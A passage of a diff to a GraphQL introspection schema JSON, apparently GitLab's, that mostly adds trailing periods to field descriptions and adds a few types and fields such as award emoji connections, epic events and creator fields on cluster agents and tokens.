profile.", + "fields": [ + { + "name": "description", + "description": "A short description of the profile.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "The unique name of the profile.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "yaml", + "description": "A syntax highlit HTML representation of the YAML.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], "enumValues": null, "possibleTypes": null }, @@ -2645,7 +3031,7 @@ "fields": [ { "name": "description", - "description": "The emoji description", + "description": "The emoji description.", "args": [ ], @@ -2663,7 +3049,7 @@ }, { "name": "emoji", - "description": "The emoji as an icon", + "description": "The emoji as an icon.", "args": [ ], @@ -2681,7 +3067,7 @@ }, { "name": "name", - "description": "The emoji name", + "description": "The emoji name.", "args": [ ], @@ -2699,7 +3085,7 @@ }, { "name": "unicode", - "description": "The emoji in unicode", + "description": "The emoji in Unicode.", "args": [ ], @@ -2717,7 +3103,7 @@ }, { "name": "unicodeVersion", - "description": "The unicode version for this emoji", + "description": "The Unicode version for this emoji.", "args": [ ], @@ -2735,7 +3121,7 @@ }, { "name": "user", - "description": "The user who awarded the emoji", + "description": "The user who awarded the emoji.", "args": [ ], @@ -2781,7 +3167,7 @@ }, { "name": "name", - "description": "The emoji name", + "description": "The emoji name.", "type": { "kind": "NON_NULL", "name": null, @@ -2876,6 +3262,118 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "AwardEmojiConnection", + "description": "The connection type for AwardEmoji.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "AwardEmojiEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "AwardEmoji", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "AwardEmojiEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "AwardEmoji", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "AwardEmojiRemoveInput", "description": "Autogenerated input type of AwardEmojiRemove", @@ -2897,7 +3395,7 @@ }, { "name": "name", - "description": "The emoji name", + "description": "The emoji name.", "type": { "kind": "NON_NULL", "name": null, @@ -3013,7 +3511,7 @@ }, { "name": "name", - "description": "The emoji name", + "description": "The emoji name.", "type": { "kind": "NON_NULL", "name": null, @@ -3128,7 +3626,7 @@ { "kind": "SCALAR", "name": "AwardableID", - "description": "Identifier of Awardable", + "description": "Identifier of Awardable.", "fields": null, "inputFields": null, "interfaces": null, @@ -3142,7 +3640,7 @@ "fields": [ { "name": "active", - "description": "Indicates if the service is active", + "description": "Indicates if the service is active.", "args": [ ], @@ -3156,7 +3654,7 @@ }, { "name": "type", - "description": "Class name of the service", + "description": "Class name of the service.", "args": [ ], @@ -3197,7 +3695,7 @@ "fields": [ { "name": "flatPath", - "description": "Flat path of the entry", + "description": "Flat path of the entry.", "args": [ ], @@ -3215,7 +3713,7 @@ }, { "name": "id", - "description": "ID of the entry", + "description": "ID of the entry.", "args": [ ], @@ -3233,7 +3731,7 @@ }, { "name": "lfsOid", - "description": "LFS ID of the blob", + "description": "LFS ID of the blob.", "args": [ ], @@ -3247,7 +3745,7 @@ }, { "name": "mode", - "description": "Blob mode in numeric format", + "description": "Blob mode in numeric format.", "args": [ ], @@ -3261,7 +3759,7 @@ }, { "name": "name", - "description": "Name of the entry", + "description": "Name of the entry.", "args": [ ], @@ -3279,7 +3777,7 @@ }, { "name": "path", - "description": "Path of the entry", + "description": "Path of the entry.", "args": [ ], @@ -3297,7 +3795,7 @@ }, { "name": "sha", - "description": "Last commit sha for the entry", + "description": "Last commit SHA for the entry.", "args": [ ], @@ -3315,7 +3813,7 @@ }, { "name": "type", - "description": "Type of tree entry", + "description": "Type of tree entry.", "args": [ ], @@ -3333,7 +3831,7 @@ }, { "name": "webPath", - "description": "Web path of the blob", + "description": "Web path of the blob.", "args": [ ], @@ -3347,7 +3845,7 @@ }, { "name": "webUrl", - "description": "Web URL of the blob", + "description": "Web URL of the blob.", "args": [ ], @@ -3519,7 +4017,7 @@ "fields": [ { "name": "assignee", - "description": "The board assignee", + "description": "The board assignee.", "args": [ ], @@ -3533,7 +4031,7 @@ }, { "name": "epics", - "description": "Epics associated with board issues", + "description": "Epics associated with board issues.", "args": [ { "name": "issueFilters", @@ -3596,7 +4094,7 @@ }, { "name": "hideBacklogList", - "description": "Whether or not backlog list is hidden", + "description": "Whether or not backlog list is hidden.", "args": [ ], @@ -3610,7 +4108,7 @@ }, { "name": "hideClosedList", - "description": "Whether or not closed list is hidden", + "description": "Whether or not closed list is hidden.", "args": [ ], @@ -3624,7 +4122,7 @@ }, { "name": "id", - "description": "ID (global ID) of the board", + "description": "ID (global ID) of the board.", "args": [ ], @@ -3656,7 +4154,7 @@ }, { "name": "labels", - "description": "Labels of the board", + "description": "Labels of the board.", "args": [ { "name": "after", @@ -3709,7 +4207,7 @@ }, { "name": "lists", - "description": "Lists of the board", + "description": "Lists of the board.", "args": [ { "name": "id", @@ -3782,7 +4280,7 @@ }, { "name": "milestone", - "description": "The board milestone", + "description": "The board milestone.", "args": [ ], @@ -3796,7 +4294,7 @@ }, { "name": "name", - "description": "Name of the board", + "description": "Name of the board.", "args": [ ], @@ -3846,7 +4344,7 @@ }, { "name": "weight", - "description": "Weight of the board", + "description": "Weight of the board.", "args": [ ], @@ -3985,7 +4483,7 @@ "fields": [ { "name": "author", - "description": "Author of the epic", + "description": "Author of the epic.", "args": [ ], @@ -4002,8 +4500,61 @@ "deprecationReason": null }, { + "name": "awardEmoji", + "description": "A list of award emojis associated with the epic.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "AwardEmojiConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "children", - "description": "Children (sub-epics) of the epic", + "description": "Children (sub-epics) of the epic.", "args": [ { "name": "startDate", @@ -4212,7 +4763,7 @@ }, { "name": "closedAt", - "description": "Timestamp of when the epic was closed", + "description": "Timestamp of when the epic was closed.", "args": [ ], @@ -4226,7 +4777,7 @@ }, { "name": "confidential", - "description": "Indicates if the epic is confidential", + "description": "Indicates if the epic is confidential.", "args": [ ], @@ -4240,7 +4791,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the epic was created", + "description": "Timestamp of when the epic was created.", "args": [ ], @@ -4254,7 +4805,7 @@ }, { "name": "currentUserTodos", - "description": "Todos for the current user", + "description": "To-do items for the current user.", "args": [ { "name": "after", @@ -4298,7 +4849,7 @@ }, { "name": "state", - "description": "State of the todos", + "description": "State of the to-do items.", "type": { "kind": "ENUM", "name": "TodoStateEnum", @@ -4321,7 +4872,7 @@ }, { "name": "descendantCounts", - "description": "Number of open and closed descendant epics and issues", + "description": "Number of open and closed descendant epics and issues.", "args": [ ], @@ -4335,7 +4886,7 @@ }, { "name": "descendantWeightSum", - "description": "Total weight of open and closed issues in the epic and its descendants", + "description": "Total weight of open and closed issues in the epic and its descendants.", "args": [ ], @@ -4349,7 +4900,7 @@ }, { "name": "description", - "description": "Description of the epic", + "description": "Description of the epic.", "args": [ ], @@ -4363,7 +4914,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -4420,7 +4971,7 @@ }, { "name": "downvotes", - "description": "Number of downvotes the epic has received", + "description": "Number of downvotes the epic has received.", "args": [ ], @@ -4438,7 +4989,7 @@ }, { "name": "dueDate", - "description": "Due date of the epic", + "description": "Due date of the epic.", "args": [ ], @@ -4452,7 +5003,7 @@ }, { "name": "dueDateFixed", - "description": "Fixed due date of the epic", + "description": "Fixed due date of the epic.", "args": [ ], @@ -4466,7 +5017,7 @@ }, { "name": "dueDateFromMilestones", - "description": "Inherited due date of the epic from milestones", + "description": "Inherited due date of the epic from milestones.", "args": [ ], @@ -4480,7 +5031,7 @@ }, { "name": "dueDateIsFixed", - "description": "Indicates if the due date has been manually set", + "description": "Indicates if the due date has been manually set.", "args": [ ], @@ -4493,8 +5044,61 @@ "deprecationReason": null }, { + "name": "events", + "description": "A list of events associated with the object.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "EventConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "group", - "description": "Group to which the epic belongs", + "description": "Group to which the epic belongs.", "args": [ ], @@ -4512,7 +5116,7 @@ }, { "name": "hasChildren", - "description": "Indicates if the epic has children", + "description": "Indicates if the epic has children.", "args": [ ], @@ -4530,7 +5134,7 @@ }, { "name": "hasIssues", - "description": "Indicates if the epic has direct issues", + "description": "Indicates if the epic has direct issues.", "args": [ ], @@ -4548,7 +5152,7 @@ }, { "name": "hasParent", - "description": "Indicates if the epic has a parent epic", + "description": "Indicates if the epic has a parent epic.", "args": [ ], @@ -4566,7 +5170,7 @@ }, { "name": "healthStatus", - "description": "Current health status of the epic", + "description": "Current health status of the epic.", "args": [ ], @@ -4580,7 +5184,7 @@ }, { "name": "id", - "description": "ID of the epic", + "description": "ID of the epic.", "args": [ ], @@ -4598,7 +5202,7 @@ }, { "name": "iid", - "description": "Internal ID of the epic", + "description": "Internal ID of the epic.", "args": [ ], @@ -4616,7 +5220,7 @@ }, { "name": "issues", - "description": "A list of issues associated with the epic", + "description": "A list of issues associated with the epic.", "args": [ { "name": "after", @@ -4669,7 +5273,7 @@ }, { "name": "labels", - "description": "Labels assigned to the epic", + "description": "Labels assigned to the epic.", "args": [ { "name": "after", @@ -4722,7 +5326,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -4779,7 +5383,7 @@ }, { "name": "parent", - "description": "Parent epic of the epic", + "description": "Parent epic of the epic.", "args": [ ], @@ -4793,7 +5397,7 @@ }, { "name": "participants", - "description": "List of participants for the epic", + "description": "List of participants for the epic.", "args": [ { "name": "after", @@ -4846,11 +5450,11 @@ }, { "name": "reference", - "description": "Internal reference of the epic. Returned in shortened format by default", + "description": "Internal reference of the epic. Returned in shortened format by default.", "args": [ { "name": "full", - "description": "Indicates if the reference should be returned in full", + "description": "Indicates if the reference should be returned in full.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -4873,7 +5477,7 @@ }, { "name": "relationPath", - "description": "URI path of the epic-issue relationship", + "description": "URI path of the epic-issue relationship.", "args": [ ], @@ -4887,7 +5491,7 @@ }, { "name": "relativePosition", - "description": "The relative position of the epic in the epic tree", + "description": "The relative position of the epic in the epic tree.", "args": [ ], @@ -4901,7 +5505,7 @@ }, { "name": "startDate", - "description": "Start date of the epic", + "description": "Start date of the epic.", "args": [ ], @@ -4915,7 +5519,7 @@ }, { "name": "startDateFixed", - "description": "Fixed start date of the epic", + "description": "Fixed start date of the epic.", "args": [ ], @@ -4929,7 +5533,7 @@ }, { "name": "startDateFromMilestones", - "description": "Inherited start date of the epic from milestones", + "description": "Inherited start date of the epic from milestones.", "args": [ ], @@ -4943,7 +5547,7 @@ }, { "name": "startDateIsFixed", - "description": "Indicates if the start date has been manually set", + "description": "Indicates if the start date has been manually set.", "args": [ ], @@ -4957,7 +5561,7 @@ }, { "name": "state", - "description": "State of the epic", + "description": "State of the epic.", "args": [ ], @@ -4975,7 +5579,7 @@ }, { "name": "subscribed", - "description": "Indicates the currently logged in user is subscribed to the epic", + "description": "Indicates the currently logged in user is subscribed to the epic.", "args": [ ], @@ -4993,7 +5597,7 @@ }, { "name": "title", - "description": "Title of the epic", + "description": "Title of the epic.", "args": [ ], @@ -5007,7 +5611,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of when the epic was updated", + "description": "Timestamp of when the epic was updated.", "args": [ ], @@ -5021,7 +5625,7 @@ }, { "name": "upvotes", - "description": "Number of upvotes the epic has received", + "description": "Number of upvotes the epic has received.", "args": [ ], @@ -5039,7 +5643,7 @@ }, { "name": "userDiscussionsCount", - "description": "Number of user discussions in the epic", + "description": "Number of user discussions in the epic.", "args": [ ], @@ -5057,7 +5661,7 @@ }, { "name": "userNotesCount", - "description": "Number of user notes of the epic", + "description": "Number of user notes of the epic.", "args": [ ], @@ -5093,7 +5697,7 @@ }, { "name": "userPreferences", - "description": "User preferences for the epic on the issue board", + "description": "User preferences for the epic on the issue board.", "args": [ ], @@ -5107,7 +5711,7 @@ }, { "name": "webPath", - "description": "Web path of the epic", + "description": "Web path of the epic.", "args": [ ], @@ -5125,7 +5729,7 @@ }, { "name": "webUrl", - "description": "Web URL of the epic", + "description": "Web URL of the epic.", "args": [ ], @@ -5153,6 +5757,11 @@ "kind": "INTERFACE", "name": "CurrentUserTodos", "ofType": null + }, + { + "kind": "INTERFACE", + "name": "Eventable", + "ofType": null } ], "enumValues": null, @@ -5277,7 +5886,7 @@ "fields": [ { "name": "collapsed", - "description": "Indicates epic should be displayed as collapsed", + "description": "Indicates epic should be displayed as collapsed.", "args": [ ], @@ -5304,7 +5913,7 @@ { "kind": "SCALAR", "name": "BoardID", - "description": "Identifier of Board", + "description": "Identifier of Board.", "fields": null, "inputFields": null, "interfaces": null, @@ -5319,7 +5928,7 @@ "inputFields": [ { "name": "labelName", - "description": "Filter by label name", + "description": "Filter by label name.", "type": { "kind": "LIST", "name": null, @@ -5333,7 +5942,7 @@ }, { "name": "milestoneTitle", - "description": "Filter by milestone title", + "description": "Filter by milestone title.", "type": { "kind": "SCALAR", "name": "String", @@ -5343,7 +5952,7 @@ }, { "name": "assigneeUsername", - "description": "Filter by assignee username", + "description": "Filter by assignee username.", "type": { "kind": "LIST", "name": null, @@ -5357,7 +5966,7 @@ }, { "name": "authorUsername", - "description": "Filter by author username", + "description": "Filter by author username.", "type": { "kind": "SCALAR", "name": "String", @@ -5367,7 +5976,7 @@ }, { "name": "releaseTag", - "description": "Filter by release tag", + "description": "Filter by release tag.", "type": { "kind": "SCALAR", "name": "String", @@ -5377,7 +5986,7 @@ }, { "name": "myReactionEmoji", - "description": "Filter by reaction emoji", + "description": "Filter by reaction emoji.", "type": { "kind": "SCALAR", "name": "String", @@ -5387,7 +5996,7 @@ }, { "name": "epicId", - "description": "Filter by epic ID. Incompatible with epicWildcardId", + "description": "Filter by epic ID. Incompatible with epicWildcardId.", "type": { "kind": "SCALAR", "name": "EpicID", @@ -5397,7 +6006,7 @@ }, { "name": "iterationTitle", - "description": "Filter by iteration title", + "description": "Filter by iteration title.", "type": { "kind": "SCALAR", "name": "String", @@ -5407,7 +6016,7 @@ }, { "name": "weight", - "description": "Filter by weight", + "description": "Filter by weight.", "type": { "kind": "SCALAR", "name": "String", @@ -5417,7 +6026,7 @@ }, { "name": "not", - "description": "List of negated params. Warning: this argument is experimental and a subject to change in future", + "description": "List of negated params. Warning: this argument is experimental and a subject to change in future.", "type": { "kind": "INPUT_OBJECT", "name": "NegatedBoardIssueInput", @@ -5427,7 +6036,7 @@ }, { "name": "search", - "description": "Search query for issue title or description", + "description": "Search query for issue title or description.", "type": { "kind": "SCALAR", "name": "String", @@ -5437,7 +6046,7 @@ }, { "name": "epicWildcardId", - "description": "Filter by epic ID wildcard. Incompatible with epicId", + "description": "Filter by epic ID wildcard. Incompatible with epicId.", "type": { "kind": "ENUM", "name": "EpicWildcardId", @@ -5447,7 +6056,7 @@ }, { "name": "iterationWildcardId", - "description": "Filter by iteration ID wildcard", + "description": "Filter by iteration ID wildcard.", "type": { "kind": "ENUM", "name": "IterationWildcardId", @@ -5467,7 +6076,7 @@ "fields": [ { "name": "assignee", - "description": "Assignee in the list", + "description": "Assignee in the list.", "args": [ ], @@ -5481,7 +6090,7 @@ }, { "name": "collapsed", - "description": "Indicates if list is collapsed for this user", + "description": "Indicates if list is collapsed for this user.", "args": [ ], @@ -5495,7 +6104,7 @@ }, { "name": "id", - "description": "ID (global ID) of the list", + "description": "ID (global ID) of the list.", "args": [ ], @@ -5513,7 +6122,7 @@ }, { "name": "issues", - "description": "Board issues", + "description": "Board issues.", "args": [ { "name": "filters", @@ -5576,7 +6185,7 @@ }, { "name": "issuesCount", - "description": "Count of issues in the list", + "description": "Count of issues in the list.", "args": [ ], @@ -5590,7 +6199,7 @@ }, { "name": "iteration", - "description": "Iteration of the list", + "description": "Iteration of the list.", "args": [ ], @@ -5604,7 +6213,7 @@ }, { "name": "label", - "description": "Label of the list", + "description": "Label of the list.", "args": [ ], @@ -5618,7 +6227,7 @@ }, { "name": "limitMetric", - "description": "The current limit metric for the list", + "description": "The current limit metric for the list.", "args": [ ], @@ -5632,7 +6241,7 @@ }, { "name": "listType", - "description": "Type of the list", + "description": "Type of the list.", "args": [ ], @@ -5650,7 +6259,7 @@ }, { "name": "maxIssueCount", - "description": "Maximum number of issues in the list", + "description": "Maximum number of issues in the list.", "args": [ ], @@ -5664,7 +6273,7 @@ }, { "name": "maxIssueWeight", - "description": "Maximum weight of issues in the list", + "description": "Maximum weight of issues in the list.", "args": [ ], @@ -5678,7 +6287,7 @@ }, { "name": "milestone", - "description": "Milestone of the list", + "description": "Milestone of the list.", "args": [ ], @@ -5692,7 +6301,7 @@ }, { "name": "position", - "description": "Position of list within the board", + "description": "Position of list within the board.", "args": [ ], @@ -5706,7 +6315,7 @@ }, { "name": "title", - "description": "Title of the list", + "description": "Title of the list.", "args": [ ], @@ -5724,7 +6333,7 @@ }, { "name": "totalWeight", - "description": "Total weight of all issues in the list", + "description": "Total weight of all issues in the list.", "args": [ ], @@ -5818,20 +6427,6 @@ "fields": null, "inputFields": [ { - "name": "boardId", - "description": "Global ID of the issue board to mutate.", - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "BoardID", - "ofType": null - } - }, - "defaultValue": null - }, - { "name": "backlog", "description": "Create the backlog list.", "type": { @@ -5852,6 +6447,20 @@ "defaultValue": null }, { + "name": "boardId", + "description": "Global ID of the issue board to mutate.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "BoardID", + "ofType": null + } + }, + "defaultValue": null + }, + { "name": "milestoneId", "description": "Global ID of an existing milestone.", "type": { @@ -5943,7 +6552,7 @@ }, { "name": "list", - "description": "List of the issue board.", + "description": "Issue list in the issue board.", "args": [ ], @@ -6143,7 +6752,7 @@ { "kind": "SCALAR", "name": "BoardsEpicBoardID", - "description": "Identifier of Boards::EpicBoard", + "description": "Identifier of Boards::EpicBoard.", "fields": null, "inputFields": null, "interfaces": null, @@ -6153,7 +6762,7 @@ { "kind": "SCALAR", "name": "BoardsEpicListID", - "description": "Identifier of Boards::EpicList", + "description": "Identifier of Boards::EpicList.", "fields": null, "inputFields": null, "interfaces": null, @@ -6177,7 +6786,7 @@ "fields": [ { "name": "commit", - "description": "Commit for the branch", + "description": "Commit for the branch.", "args": [ ], @@ -6191,7 +6800,7 @@ }, { "name": "name", - "description": "Name of the branch", + "description": "Name of the branch.", "args": [ ], @@ -6222,7 +6831,7 @@ "fields": [ { "name": "completedCount", - "description": "Number of closed issues as of this day", + "description": "Number of closed issues as of this day.", "args": [ ], @@ -6240,7 +6849,7 @@ }, { "name": "completedWeight", - "description": "Total weight of closed issues as of this day", + "description": "Total weight of closed issues as of this day.", "args": [ ], @@ -6258,7 +6867,7 @@ }, { "name": "date", - "description": "Date for burnup totals", + "description": "Date for burnup totals.", "args": [ ], @@ -6276,7 +6885,7 @@ }, { "name": "scopeCount", - "description": "Number of issues as of this day", + "description": "Number of issues as of this day.", "args": [ ], @@ -6294,7 +6903,7 @@ }, { "name": "scopeWeight", - "description": "Total weight of issues as of this day", + "description": "Total weight of issues as of this day.", "args": [ ], @@ -6320,6 +6929,33 @@ }, { "kind": "OBJECT", + "name": "CiApplicationSettings", + "description": null, + "fields": [ + { + "name": "keepLatestArtifact", + "description": "Whether to keep the latest jobs artifacts.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "CiBuildNeed", "description": null, "fields": [ @@ -6562,7 +7198,7 @@ "fields": [ { "name": "errors", - "description": "Linting errors", + "description": "Linting errors.", "args": [ ], @@ -6584,7 +7220,7 @@ }, { "name": "mergedYaml", - "description": "Merged CI config YAML", + "description": "Merged CI configuration YAML.", "args": [ ], @@ -6598,7 +7234,7 @@ }, { "name": "stages", - "description": "Stages of the pipeline", + "description": "Stages of the pipeline.", "args": [ { "name": "after", @@ -6651,7 +7287,7 @@ }, { "name": "status", - "description": "Status of linting, can be either valid or invalid", + "description": "Status of linting, can be either valid or invalid.", "args": [ ], @@ -6678,7 +7314,7 @@ "fields": [ { "name": "jobs", - "description": "Jobs in group", + "description": "Jobs in group.", "args": [ { "name": "after", @@ -6731,7 +7367,7 @@ }, { "name": "name", - "description": "Name of the job group", + "description": "Name of the job group.", "args": [ ], @@ -6745,7 +7381,7 @@ }, { "name": "size", - "description": "Size of the job group", + "description": "Size of the job group.", "args": [ ], @@ -7297,7 +7933,7 @@ "fields": [ { "name": "name", - "description": "Name of the need", + "description": "Name of the need.", "args": [ ], @@ -7436,7 +8072,7 @@ "fields": [ { "name": "groups", - "description": "Groups of jobs for the stage", + "description": "Groups of jobs for the stage.", "args": [ { "name": "after", @@ -7489,7 +8125,7 @@ }, { "name": "name", - "description": "Name of the stage", + "description": "Name of the stage.", "args": [ ], @@ -7651,7 +8287,7 @@ "fields": [ { "name": "detailedStatus", - "description": "Detailed status of the group", + "description": "Detailed status of the group.", "args": [ ], @@ -7665,7 +8301,7 @@ }, { "name": "jobs", - "description": "Jobs in group", + "description": "Jobs in group.", "args": [ { "name": "after", @@ -7718,7 +8354,7 @@ }, { "name": "name", - "description": "Name of the job group", + "description": "Name of the job group.", "args": [ ], @@ -7732,7 +8368,7 @@ }, { "name": "size", - "description": "Size of the group", + "description": "Size of the group.", "args": [ ], @@ -7871,7 +8507,7 @@ "fields": [ { "name": "artifacts", - "description": "Artifacts generated by the job", + "description": "Artifacts generated by the job.", "args": [ { "name": "after", @@ -7924,7 +8560,7 @@ }, { "name": "detailedStatus", - "description": "Detailed status of the job", + "description": "Detailed status of the job.", "args": [ ], @@ -7938,7 +8574,7 @@ }, { "name": "name", - "description": "Name of the job", + "description": "Name of the job.", "args": [ ], @@ -7952,7 +8588,7 @@ }, { "name": "needs", - "description": "References to builds that must complete before the jobs run", + "description": "References to builds that must complete before the jobs run.", "args": [ { "name": "after", @@ -8005,7 +8641,7 @@ }, { "name": "pipeline", - "description": "Pipeline the job belongs to", + "description": "Pipeline the job belongs to.", "args": [ ], @@ -8019,7 +8655,7 @@ }, { "name": "scheduledAt", - "description": "Schedule for the build", + "description": "Schedule for the build.", "args": [ ], @@ -8046,7 +8682,7 @@ "fields": [ { "name": "downloadPath", - "description": "URL for downloading the artifact's file", + "description": "URL for downloading the artifact's file.", "args": [ ], @@ -8060,7 +8696,7 @@ }, { "name": "fileType", - "description": "File type of the artifact", + "description": "File type of the artifact.", "args": [ ], @@ -8307,7 +8943,7 @@ { "kind": "SCALAR", "name": "CiPipelineID", - "description": "Identifier of Ci::Pipeline", + "description": "Identifier of Ci::Pipeline.", "fields": null, "inputFields": null, "interfaces": null, @@ -8321,7 +8957,7 @@ "fields": [ { "name": "detailedStatus", - "description": "Detailed status of the stage", + "description": "Detailed status of the stage.", "args": [ ], @@ -8335,7 +8971,7 @@ }, { "name": "groups", - "description": "Group of jobs for the stage", + "description": "Group of jobs for the stage.", "args": [ { "name": "after", @@ -8388,7 +9024,7 @@ }, { "name": "name", - "description": "Name of the stage", + "description": "Name of the stage.", "args": [ ], @@ -8527,7 +9163,7 @@ "fields": [ { "name": "createdAt", - "description": "Timestamp the cluster agent was created", + "description": "Timestamp the cluster agent was created.", "args": [ ], @@ -8540,8 +9176,22 @@ "deprecationReason": null }, { + "name": "createdByUser", + "description": "User object, containing information about the person who created the agent.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "User", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "id", - "description": "ID of the cluster agent", + "description": "ID of the cluster agent.", "args": [ ], @@ -8559,7 +9209,7 @@ }, { "name": "name", - "description": "Name of the cluster agent", + "description": "Name of the cluster agent.", "args": [ ], @@ -8573,7 +9223,7 @@ }, { "name": "project", - "description": "The project this cluster agent is associated with", + "description": "The project this cluster agent is associated with.", "args": [ ], @@ -8587,7 +9237,7 @@ }, { "name": "tokens", - "description": "Tokens associated with the cluster agent", + "description": "Tokens associated with the cluster agent.", "args": [ { "name": "after", @@ -8640,7 +9290,7 @@ }, { "name": "updatedAt", - "description": "Timestamp the cluster agent was updated", + "description": "Timestamp the cluster agent was updated.", "args": [ ], @@ -8667,7 +9317,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -8885,7 +9535,7 @@ "fields": [ { "name": "clusterAgent", - "description": "Cluster agent this token is associated with", + "description": "Cluster agent this token is associated with.", "args": [ ], @@ -8899,7 +9549,7 @@ }, { "name": "createdAt", - "description": "Timestamp the token was created", + "description": "Timestamp the token was created.", "args": [ ], @@ -8912,8 +9562,22 @@ "deprecationReason": null }, { + "name": "createdByUser", + "description": "The user who created the token.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "User", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "id", - "description": "Global ID of the token", + "description": "Global ID of the token.", "args": [ ], @@ -8944,7 +9608,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -9274,7 +9938,7 @@ { "kind": "SCALAR", "name": "ClustersAgentID", - "description": "Identifier of Clusters::Agent", + "description": "Identifier of Clusters::Agent.", "fields": null, "inputFields": null, "interfaces": null, @@ -9284,7 +9948,7 @@ { "kind": "SCALAR", "name": "ClustersAgentTokenID", - "description": "Identifier of Clusters::AgentToken", + "description": "Identifier of Clusters::AgentToken.", "fields": null, "inputFields": null, "interfaces": null, @@ -9294,7 +9958,7 @@ { "kind": "SCALAR", "name": "ClustersClusterID", - "description": "Identifier of Clusters::Cluster", + "description": "Identifier of Clusters::Cluster.", "fields": null, "inputFields": null, "interfaces": null, @@ -9548,7 +10212,7 @@ "fields": [ { "name": "author", - "description": "Author of the commit", + "description": "Author of the commit.", "args": [ ], @@ -9562,7 +10226,7 @@ }, { "name": "authorGravatar", - "description": "Commit authors gravatar", + "description": "Commit authors gravatar.", "args": [ ], @@ -9576,7 +10240,7 @@ }, { "name": "authorName", - "description": "Commit authors name", + "description": "Commit authors name.", "args": [ ], @@ -9590,7 +10254,7 @@ }, { "name": "authoredDate", - "description": "Timestamp of when the commit was authored", + "description": "Timestamp of when the commit was authored.", "args": [ ], @@ -9604,7 +10268,7 @@ }, { "name": "description", - "description": "Description of the commit message", + "description": "Description of the commit message.", "args": [ ], @@ -9632,7 +10296,7 @@ }, { "name": "id", - "description": "ID (global ID) of the commit", + "description": "ID (global ID) of the commit.", "args": [ ], @@ -9650,7 +10314,7 @@ }, { "name": "message", - "description": "Raw commit message", + "description": "Raw commit message.", "args": [ ], @@ -9664,7 +10328,7 @@ }, { "name": "pipelines", - "description": "Pipelines of the commit ordered latest first", + "description": "Pipelines of the commit ordered 